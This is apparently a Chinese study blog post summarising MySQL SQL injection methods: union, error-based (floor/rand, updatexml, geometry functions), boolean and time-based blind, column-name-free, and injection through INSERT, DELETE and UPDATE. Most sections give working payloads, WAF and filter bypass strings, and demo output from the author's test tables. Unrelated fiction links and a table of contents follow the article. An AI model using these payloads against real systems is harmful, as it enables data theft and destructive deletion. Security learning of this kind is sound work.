slq-注入总结(中)

上一节中，大致把sql中的函数记录了下，如果有什么不足希望各位师傅斧正。晚自习没课，所以现在把常见的注入方式，以及利用过程讲一下。

注入类型

数值型注入

也就是说后台的sql语句直接拼接的一个数值，可以通过以下方式进行初步判断，如果有waf，那么可以尝试使用注释符等将waf过滤的关键字进行包裹，使waf无法匹配，达到绕过waf的效果。

?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1

字符型注入

后台得到一个字符型数据然后进行拼接查询，具体判断方式如下。

?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1

值得注意的是，在字符型注入中，要通过手工测试去判断后台sql语句的写法，例如：

mysql-> select password from userinfo where username='admin'

可以看到其数据是包裹在一对单引号中的，也就是说如果我们在插入一个单引号，就会引起后台sql语句执行报错，然后就可以根据其包裹方式构造payload进行注入。

union联合注入

首先使用order by进行字段猜测。

oder by num//num是具体数值

Example:id=1 order by 2 页面正常，id=3 order by 6页面错误，那么字段就是2
字符型的话需要注释后面的引号，Example：id=1' order by 2%23(%23=#)
得到具体字段数后，我们就可以进行爆字段位置：

and 1=2 UNION SELECT 1,2或 id=-1 UNION SELECT 1,2

然后就可以进行数据库表查询(mysql环境下)

and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +

基础语法:

union select xxx from xxx

过滤了逗号的话可以使用join进行绕过

select username,user_passwd from userinfo union select * from ((select(1))a join(select version())b);
+----------+-------------+
| username | user_passwd |
+----------+-------------+
| admin1   | admin1      |
| admin2   | admin2      |
| 1        | 5.6.44      |
+----------+-------------+
3 rows in set (0.07 sec)

join函数的作用是用于把来自两个或多个表的行结合起来。语句中的a等于是把select(1)的值赋给了a，也就是a=select (1)，然后把两个拼接起来。
tips:该注入方式，适合用与显错注入，可以将注入得到的值直接显示到页面上。

报错注入

常用于没有sql错误提示的注入场景，具体原理分析如下。
首先看一下我们的测试表

select * from userinfo;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
+--------+----------+-------------+
4 rows in set (0.07 sec)

可以看到总共有userid，username，user_password，三个字段，我们使用floor报错注入payload:

select count(*),(concat(floor(rand()*2),(select version())))x from users group by x

结果如下

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
Duplicate entry '5.6.441' for key 'group_key'

我们可以看到我数据库版本号出现在了错误语句当中，那么到底是为什么他会报错呢，我们进一步去分析
floor()函数作用是返回返回小于等于该值的最大整数,也可以理解为向下取整，只保留整数部分。
rand(0)函数可以用来生成0或1，但是rand(0)和rand()还是有本质区别的，rand(0)相当于给rand()函数传递了一个参数，然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的，而rand(0)是有规律的生成，我们可以在数据库中尝试一下。首先测试rand()

mysql> select floor(rand()*2) from userinfo;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               0 |
|               1 |
|               0 |
+-----------------+
4 rows in set (0.07 sec)

mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
4 rows in set (0.07 sec)
 
mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
4 rows in set (0.07 sec)

很显然rand(0)是伪随机的，有规律可循，这也是我们采用rand(0)进行报错注入的原因，rand(0)是稳定的，这样每次注入都会报错，而rand()是随机的，很难控制，可能达不到报错效果。

那么为什么会报错呢，报错语句为Duplicate entry '5.6.441' for key 'group_key'意思是说group_key条目重复，那么我们使用group by 测试下。

mysql> select count(*),username from userinfo group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
|        3 | admin1   |
|        1 | admin2   |
+----------+----------+
2 rows in set (0.07 sec)

我们可以看到生成了一个虚拟表，在这张虚拟表中，group by后面的字段作为主键，所以这张表中主键是username，这样我们就基本弄清报错的原因了，其原因主要是因为虚拟表的主键重复。
我们把这个payload拆分来看select count(),(concat(floor(rand()2),(select version())))x from users group by x
可以分为这么几部分select count(*),concat(floor(rand()*2),(select version())),group by x我们一步一步来解释
首先第一段select没什么讲的，COUNT(*) 函数返回表中的记录数，第二段concat用于拼接字符串，我们可以尝试在sql中使用。

mysql> select concat_ws('@',version(),floor(rand()*2));
+------------------------------------------+
| concat_ws('@',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.6.44@1                                 |
+------------------------------------------+
1 row in set (0.05 sec)

可以看到该命令将version和floor的值进行了拼接，那么我们在根据group by 的特性，group by语句执行过程中，一行一行的去扫描原始表的username字段，如果username在username-count()不存在，那么就将他插入，并置count()置1，如果username在username-count()表中已经存在，那么就在原来的count(*)基础上加1，就这样直到扫描完整个表，就得到我们看到的这个表了，group by后面的字段时虚拟表的主键，也就是说它是不能重复的，这是后面报错成功的关键点。
我们进行测试,userinfo表中有四条数据，我们可以看到

mysql> select concat_ws('@',version(),floor(rand(0)*2))x from userinfo;
+----------+
| x        |
+----------+
| 5.6.44@0 |
| 5.6.44@1 |
| 5.6.44@1 |
| 5.6.44@0 |
+----------+
4 rows in set (0.05 sec)

我们可以看到每一次生成的值是根据floor函数决定的，再结合rand(0)函数的特性，导致其随机数可以被控制，所以才有了我们上面的结果。
在执行group by语句的时候，group by语句后面的字段会被运算两次。
第一次：我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗，在对比之前肯定要知道group by后面字段的值，所以第一次的运算就发生在这里。
第二次：现在假设我们下一次扫描的字段的值没有在虚拟表中出现，也就是group by后面的字段的值在虚拟表中还不存在，那么我们就需要把它插入到虚拟表中，这里在插入时会进行第二次运算，由于rand函数存在一定的随机性，所以第二次运算的结果可能与第一次运算的结果不一致，但是这个运算的结果可能在虚拟表中已经存在了，那么这时的插入必然导致错误！
我们测试一下首先用rand(0)生成随机数

mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
4 rows in set (0.05 sec)

然后跟着流程走，首先开始虚拟表是空的如下

count(*)	x

当我扫描原始表的第一项时，第一次计算，floor(rand(0)*2)是0，然后和数据库的版本号（假设就是5.6.44）拼接，到虚拟表里去寻找x有没有x的值是5.6.44@x的数据项，结果显然是没有，那么接下来就将它插入到上表中，但是还记得吗，在插入之前会进行第二次计算，这时x的值就变成了5.6.44@1，所以虚拟表变成了下面这样：

count(*)	x
1	5.6.44@1

现在扫描原始表的第二项，第一次计算x==’5.6.44@1‘，已经存在，不需要进行第二次计算，直接插入，得到下表：

count(*)	x
2	5.6.44@1

扫描原始表的第三项，第一次计算x==‘5.6.44@0’，虚拟表中找不到，那么进行第二次计算，这时x==‘5.6.44@1’，然后插入，但是插入的时候问题就发生了，虚拟表中已经存在以5.6.44@1为主键的数据项了，插入失败，然后就报错了！
过程如下：
扫描第一项第一次计算x='5.6.44@0'(与rand(0)对应)，发现没有那么进行插入，插入是在进行计算这时x='5.6.44@1',那么将其插入，到这里第一次扫描完成，因为rand的随机性所以导致插入的数据为5.6.44@1，那么继续往下走，在第二次扫描这时x='5.6.44@1'发现虚拟表中存在，那么就直接插入，不进行第二次计算，到此第二次扫描完成，第三次扫描开始，首先x='5.6.44@0'，然后发现表中没有，那么久进行插入而插入的时候还需进行一次计算，这是x='5.6.44@1',那么与之前第一次计算得到的值不相同然后报错把值爆出来了。

XPATH语法错误

从mysql5.1.5开始提供两个XML查询和修改的函数，extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容，updatexml则负责修改查询到的内容。
它们的第二个参数都要求是符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里。

select updatexml(1,concat(0x7e,(select version()),0x7e),1);
select extractvalue(1,concat(0x7e,(select version()),0x7e));

函数特性报错

故名思义，也就是利用一些函数的特性，使其报错，得到我们想要的结果。

geometrycollection()

and geometrycollection((select * from(select * from(select user())a)b))-- +

multipoint()

and multipoint((select * from(select * from(select user())a)b))-- +

polygon()

and polygon (()select * from(select user ())a)b )-- +

multipolygon()

and multipolygon((select * from(select * from(select user())a)b))-- +

linestring()

and linestring((select * from(select * from(select user())a)b))-- +

multilinestring()

and multilinestring((select * from(select * from(select user())a)b))-- +

exp()

and exp(~(select * from(select user())a))--+

盲注

盲注指的是没有回显，但是能根据我们构造的sql条件返回不同响应，而盲注跑出数据相对较麻烦，MySQL4之后大小写不敏感，可使用binary()函数使大小写敏感。

构造布尔条件

参考p0desta师傅的博客

//正常情况
'or bool#
true'and bool#
    
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
    
//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
    
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
    
//其他
or (case when (bool) then 1 else 0 end)

有时候where字句有括号又猜不到SQL语句的时候，可以有下列类似的fuzz

1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1

逻辑判断的函数

left(user(),1)>'r'  
right(user(),1)>'r'  
substr(user(),1,1)='r'  
mid(user(),1,1)='r' 
greatest("sed",database())= "sed" //返回最大值再与字符串比较
select least("sea",database())="sea"; //返回最小值再与字符串比较
    
//不使用逗号 
user() regexp '^[a-z]'
user() like 'root%' //注意_/%通配符，建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'

可以配合ascii、ord、char、使用。

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。
首先我们进行测试下：

mysql> select * from userinfo union select 1,2,3 order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | 3           |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)

mysql> select * from userinfo union select 1,2,'a' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | a           |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)

我们可以看到当我们查询第三列数据开头一样的数据时，select 1，2，3的数据会排在第一行，那么我们继续测试。

mysql> select * from userinfo union select 1,2,'b' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      1 | 2        | b           |
+--------+----------+-------------+
5 rows in set (0.07 sec)

可以看到其数据被排到第二行了，那么我们可以根据这个规则进行注入，我们继续测试

mysql> select * from userinfo union select 1,2,'ad' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | ad          |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)
 
mysql> select * from userinfo union select 1,2,'ads' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      1 | 2        | ads         |
+--------+----------+-------------+
5 rows in set (0.07 sec)

可以看到我们输入ad与admin1进行比较，我们的数据排在第一行，而输入ads，排在了最后，那么我们就可以根据数据排序进行数据注入，猜测出数据，此方法多用与无列名注入。

基于时间的盲注

适用于对页面无变化，无法用布尔盲注判断的情况，一般用到函数 sleep() BENCHMARK()。
sleep()作用是用来延时 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数，第一个是执行的次数，第二个是要执行的函数或者是表达式。
时间盲注我们还需要使用条件判断函数if() if（expre1，expre2，expre3）当expre1为true时，返回expre2，false时，返回expre3
举个🌰：

mysql> select * from userinfo where userid=1 and if((substr((select user()),1,1)='r'),sleep(5),1);
Empty set (5.01 sec)

如果这两个函数都被ban了我们可以利用笛卡尔积造成延时进行注入。
知识点：笛卡尔积可以将多个表合并成为一个表
进行测试：

mysql> mysql> select count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
|  3515625 |
+----------+
1 row in set (0.52 sec)

所以paylod：

1' and if(想执行的查询语句,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23

另外还可以用get lock()进行延时盲注
知识点：

mysql_pconnect(server,user,pwd,clientflag)

mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接。
mysql_pconnect() 和 mysql_connect() 非常相似，但有两个主要区别：当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的（持久）连接，如果找到，则返回此连接标识而不打开新连接。其次，当脚本执行完毕后到 SQL 服务器的连接不会被关闭，此连接将保持打开以备以后使用（mysql_close() 不会关闭由 mysql_pconnect() 建立的连接）。

get_lock(str,timeout)
get_lock会按照key来加锁，别的客户端再以同样的key加锁时就加不了了，处于等待状态。在一个session中锁定变量，同时通过另外一个session执行，将会产生延时

进行测试：

首先打开两个sqlshell 在第一个上运行
mysql> select get_lock('test',5)
    -> ;
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.06 sec)

然后在第二个上运行同样的语句
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.03 sec)

可以看到延时了，那我们在实际中可以利用如下。
先执行：1' and get_lock(1,2)%23使其上锁，然后在执行1' and if(1,get_lock(1,2),1)%23，看延时进行判断。

无列名注入

使用order by

在上文中已经提及过其用法，大家可以翻回去看看，这里不在累赘。

字查询

在无列名的情况下，用子查询可以很简单的将数据跑出来。
子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。
进行测试

mysql> select 1,2,3 union select * from userinfo;
+---+--------+--------+
| 1 | 2      | 3      |
+---+--------+--------+
| 1 | 2      | 3      |
| 1 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
+---+--------+--------+
5 rows in set (0.04 sec)

可以把他当作形成了一个虚拟表，1，2，3位于第一条数据，那么我们在进行查询。

mysql> SELECT x.3 FROM (SELECT * FROM (select 1)a,(select 2)b,(select 3)c union select * from userinfo)x;
+--------+
| 3      |
+--------+
| 3      |
| admin1 |
| admin2 |
| admin1 |
| admin1 |
+--------+
5 rows in set (0.05 sec)

我们可以看到在没有输入列名的情况下，也把数据查询出来了。

在限制了union时

参考p0desta师傅的博客

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b) as c);

1060 - Duplicate column name 'userid'

可以发现第一个列名已经被爆出来了，那么他的原理到底是什么呢。
这个的原理就是在使用别名的时候，表中不能出现相同的字段名，于是我们就利用join把表扩充成两份，在最后别名c的时候查询到重复字段，就成功报错。
同时，可以利用using爆其他字段：

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid)) as c);

1060 - Duplicate column name 'username'

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid,username)) as c);

1060 - Duplicate column name 'user_passwd'

insert,delete,update

insert

可以看到假如没闭合是会产生很多垃圾数据的，所以这类注入建议手工或者自己写工具。

一般这种注入会出现在注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

int型可以使用运算符比如加减乘除 and or 异或移位等等

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

字符型注意闭合不能使用and

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

注意盲注产生大量垃圾数据。

delete

报错注入同上

值得注意的时delete 注入很危险，很危险，很危险。

语句不当将会亲人泪两行 or 1=1 因为 1=1 为true 所以每一行被删除了, 他以前用sqlmap一把梭现在过的很好，每顿都有人送饭到手上。

所以在 delete注入时使用 or 一定要为false

mysql> delete from admin where id =3 or 1=1;
Query OK, 4 rows affected (0.00 sec)

报错注入

mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

or 配上 if() 函数使用不当再提下 if(expr1,expr2,expr3)，如果expr1的值为true，返回expr2的值，如果expr1的值为false，
返回expr3的值。

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 3 rows affected (0.00 sec)

所以 delete中 or 的正确使用方法 (or 右边要为false)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

update

与上面的类似

mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

写在最后

这篇文章写了两天，由于博主自己水平有限，对很多知识点不理解，花了一定的时间去学习，不过结果终究是好的，因为学到了东西，接下来会慢慢去接触sql注入bypass，希望自己能越来越强吧。
也感谢各位师傅的博客让我学到了很多东西，这篇文章的完成，借鉴了很多师傅的博客，自己在进行了一定的总结。
最后如果师傅们发现我文章中有什么错误，希望师傅斧正。

人面猴
序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
沈念sama阅读 215,539评论 6赞 497
死咒
序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
沈念sama阅读 91,911评论 3赞 391
救了他两次的神仙让他今天三更去死
文/潘晓璐我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
开封第一讲书人阅读 161,337评论 0赞 351
道士缉凶录：失踪的卖姜人
文/不坏的土叔我叫张陵，是天一观的道长。经常有香客问我，道长，这世上最难降的妖魔是什么？我笑而不...
开封第一讲书人阅读 57,723评论 1赞 290
港岛之恋（遗憾婚礼）
正文为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
茶点故事阅读 66,795评论 6赞 388
恶毒庶女顶嫁案：这布局不是一般人想出来的
文/花漫我一把揭开白布。她就那样静静地躺着，像睡着了一般。火红的嫁衣衬着肌肤如雪。梳的纹丝不乱的头发上，一...
开封第一讲书人阅读 50,762评论 1赞 294
城市分裂传说
那天，我揣着相机与录音，去河边找鬼。笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。我是一名探鬼主播，决...
沈念sama阅读 39,742评论 3赞 416
双鸳鸯连环套：你想象不到人心有多黑
文/苍兰香墨我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
开封第一讲书人阅读 38,508评论 0赞 271
万荣杀人案实录
序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
沈念sama阅读 44,954评论 1赞 308
护林员之死
正文独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋以下内容为张勋视角年9月15日...
茶点故事阅读 37,247评论 2赞 331
白月光启示录
正文我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
茶点故事阅读 39,404评论 1赞 345
活死人
序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
沈念sama阅读 35,104评论 5赞 340
日本核电站爆炸内幕
正文年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
茶点故事阅读 40,736评论 3赞 324
男人毒药：我在死后第九天来索命
文/蒙蒙一、第九天我趴在偏房一处隐蔽的房顶上张望。院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
开封第一讲书人阅读 31,352评论 0赞 21
一桩弑父案，背后竟有这般阴谋
文/苍兰香墨我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。一阵脚步声响...
开封第一讲书人阅读 32,557评论 1赞 268
情欲美人皮
我被黑心中介骗来泰国打工，没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。一个月前我还...
沈念sama阅读 47,371评论 2赞 368
代替公主和亲
正文我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
茶点故事阅读 44,292评论 2赞 352

slq-注入总结(中)

注入类型

数值型注入

字符型注入

union联合注入

报错注入

XPATH语法错误

函数特性报错

盲注

构造布尔条件

逻辑判断的函数

可以配合ascii、ord、char、使用。

order by盲注

基于时间的盲注

无列名注入

使用order by

字查询

在限制了union时

insert,delete,update

insert

delete

update

写在最后

推荐阅读更多精彩内容